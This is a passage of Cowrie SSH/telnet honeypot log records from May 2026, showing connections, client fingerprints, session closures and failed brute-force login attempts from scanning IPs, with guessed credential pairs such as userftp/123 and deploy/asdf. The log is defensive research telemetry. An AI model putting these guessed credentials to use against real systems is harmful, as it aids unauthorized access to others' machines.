S":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:57.679318Z","src_ip":"186.13.24.118","session":"fc6db0f076c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40938,"dst_ip":"10.17.0.5","dst_port":23,"session":"266a9408c177","protocol":"telnet","message":"New connection: 159.203.13.64:40938 (10.17.0.5:23) [session: 266a9408c177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:57.733085Z"}
{"eventid":"cowrie.session.closed","duration":37.41280269622803,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:58.234943Z","src_ip":"159.203.13.64","session":"4fc2201cd78a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"123","message":"login attempt [userftp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:58.311479Z","src_ip":"186.13.24.118","session":"fc6db0f076c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:02:59.464744Z","src_ip":"186.13.24.118","session":"fc6db0f076c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":55458,"dst_ip":"159.203.135.109","dst_port":23,"session":"630c1da790ab","protocol":"telnet","message":"New connection: 80.252.221.197:55458 (159.203.135.109:23) [session: 630c1da790ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:02.113439Z"}
{"eventid":"cowrie.session.closed","duration":46.187002658843994,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:03.866966Z","src_ip":"159.203.13.64","session":"1c953e80c13b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.195","src_port":16714,"dst_ip":"10.17.0.5","dst_port":22,"session":"285fa44a159b","protocol":"ssh","message":"New connection: 92.118.39.195:16714 (10.17.0.5:22) [session: 285fa44a159b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:10.130722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:10.135529Z","src_ip":"92.118.39.195","session":"285fa44a159b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:10.230340Z","src_ip":"92.118.39.195","session":"285fa44a159b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:10.965787Z","src_ip":"92.118.39.195","session":"285fa44a159b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.11060070991516,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:11.367359Z","src_ip":"80.252.221.197","session":"97b05ce66dd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.520548820495605,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:14.924592Z","src_ip":"80.252.221.197","session":"223080870279","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.64077591896057,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:16.183720Z","src_ip":"159.203.13.64","session":"f638f29c437b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.14142632484436,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:20.453574Z","src_ip":"159.203.13.64","session":"286f0435723f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":42974,"dst_ip":"10.17.0.5","dst_port":23,"session":"1562bb275bce","protocol":"telnet","message":"New connection: 159.203.13.64:42974 (10.17.0.5:23) [session: 1562bb275bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:20.775031Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":42988,"dst_ip":"10.17.0.5","dst_port":23,"session":"5029cb588c1b","protocol":"telnet","message":"New connection: 159.203.13.64:42988 (10.17.0.5:23) [session: 5029cb588c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:21.715038Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":42994,"dst_ip":"10.17.0.5","dst_port":23,"session":"804be0aab9ae","protocol":"telnet","message":"New connection: 159.203.13.64:42994 (10.17.0.5:23) [session: 804be0aab9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:22.063616Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":51218,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3299fcdfafa","protocol":"ssh","message":"New connection: 45.78.194.242:51218 (10.17.0.5:22) [session: c3299fcdfafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:24.114474Z"}
{"eventid":"cowrie.session.closed","duration":44.827959060668945,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:24.177918Z","src_ip":"159.203.13.64","session":"84b8e96b16cd","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:24.372972Z","src_ip":"45.78.194.242","session":"c3299fcdfafa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:24.614767Z","src_ip":"45.78.194.242","session":"c3299fcdfafa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43008,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7ce58a6be8","protocol":"telnet","message":"New connection: 159.203.13.64:43008 (10.17.0.5:23) [session: bb7ce58a6be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:25.098730Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53768,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9974d14aa9e","protocol":"ssh","message":"New connection: 159.203.92.129:53768 (159.203.135.109:22) [session: b9974d14aa9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:25.578120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:25.583713Z","src_ip":"159.203.92.129","session":"b9974d14aa9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:25.590114Z","src_ip":"159.203.92.129","session":"b9974d14aa9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alok","password":"alok","message":"login attempt [alok/alok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:25.601415Z","src_ip":"159.203.92.129","session":"b9974d14aa9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43012,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4932b8c78e","protocol":"telnet","message":"New connection: 159.203.13.64:43012 (10.17.0.5:23) [session: 7d4932b8c78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:26.003183Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:26.608360Z","src_ip":"159.203.92.129","session":"b9974d14aa9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.736182928085327,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:26.799696Z","src_ip":"159.203.13.64","session":"804be0aab9ae","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345trewq","message":"login attempt [ubuntu/12345trewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:27.894229Z","src_ip":"45.78.194.242","session":"c3299fcdfafa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:31.629970Z","src_ip":"45.78.194.242","session":"c3299fcdfafa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40092,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ade9b52e59a","protocol":"telnet","message":"New connection: 159.203.13.64:40092 (10.17.0.5:23) [session: 7ade9b52e59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:32.744784Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40106,"dst_ip":"10.17.0.5","dst_port":23,"session":"38620e4afd7b","protocol":"telnet","message":"New connection: 159.203.13.64:40106 (10.17.0.5:23) [session: 38620e4afd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:37.537600Z"}
{"eventid":"cowrie.session.closed","duration":36.6850745677948,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:38.796818Z","src_ip":"80.252.221.197","session":"630c1da790ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.851855516433716,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:42.584840Z","src_ip":"159.203.13.64","session":"266a9408c177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48342,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7366043bb9","protocol":"telnet","message":"New connection: 159.203.13.64:48342 (10.17.0.5:23) [session: ef7366043bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:43.609094Z"}
{"eventid":"cowrie.session.closed","duration":8.00678563117981,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:45.544270Z","src_ip":"159.203.13.64","session":"38620e4afd7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48348,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a5447b28893","protocol":"telnet","message":"New connection: 159.203.13.64:48348 (10.17.0.5:23) [session: 1a5447b28893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:45.869330Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.112.205.209","src_port":46116,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5487d53efae","protocol":"telnet","message":"New connection: 196.112.205.209:46116 (10.17.0.5:23) [session: c5487d53efae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:52.523534Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":52310,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6ca11cec3cf","protocol":"ssh","message":"New connection: 103.215.80.173:52310 (159.203.135.109:22) [session: e6ca11cec3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:52.699521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:52.704841Z","src_ip":"103.215.80.173","session":"e6ca11cec3cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:53.138320Z","src_ip":"103.215.80.173","session":"e6ca11cec3cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdf","message":"login attempt [deploy/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:54.618854Z","src_ip":"103.215.80.173","session":"e6ca11cec3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:55.826789Z","src_ip":"103.215.80.173","session":"e6ca11cec3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44238,"dst_ip":"10.17.0.5","dst_port":23,"session":"808d62bb8d12","protocol":"telnet","message":"New connection: 159.203.13.64:44238 (10.17.0.5:23) [session: 808d62bb8d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:56.931049Z"}
{"eventid":"cowrie.session.closed","duration":37.19579815864563,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:57.970734Z","src_ip":"159.203.13.64","session":"1562bb275bce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":53386,"dst_ip":"10.17.0.5","dst_port":23,"session":"975f0c83a641","protocol":"telnet","message":"New connection: 37.97.152.182:53386 (10.17.0.5:23) [session: 975f0c83a641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:03:58.809895Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44246,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c3e5ccfcdfd","protocol":"telnet","message":"New connection: 159.203.13.64:44246 (10.17.0.5:23) [session: 3c3e5ccfcdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:00.145786Z"}
{"eventid":"cowrie.session.closed","duration":42.1100127696991,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:03.824959Z","src_ip":"159.203.13.64","session":"5029cb588c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.205003499984741,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:04.728432Z","src_ip":"196.112.205.209","session":"c5487d53efae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.66718077659607,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:05.670176Z","src_ip":"159.203.13.64","session":"7d4932b8c78e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":50380,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a91510b5b2b","protocol":"ssh","message":"New connection: 186.13.24.118:50380 (159.203.135.109:22) [session: 5a91510b5b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:06.866225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:04:06.870580Z","src_ip":"186.13.24.118","session":"5a91510b5b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 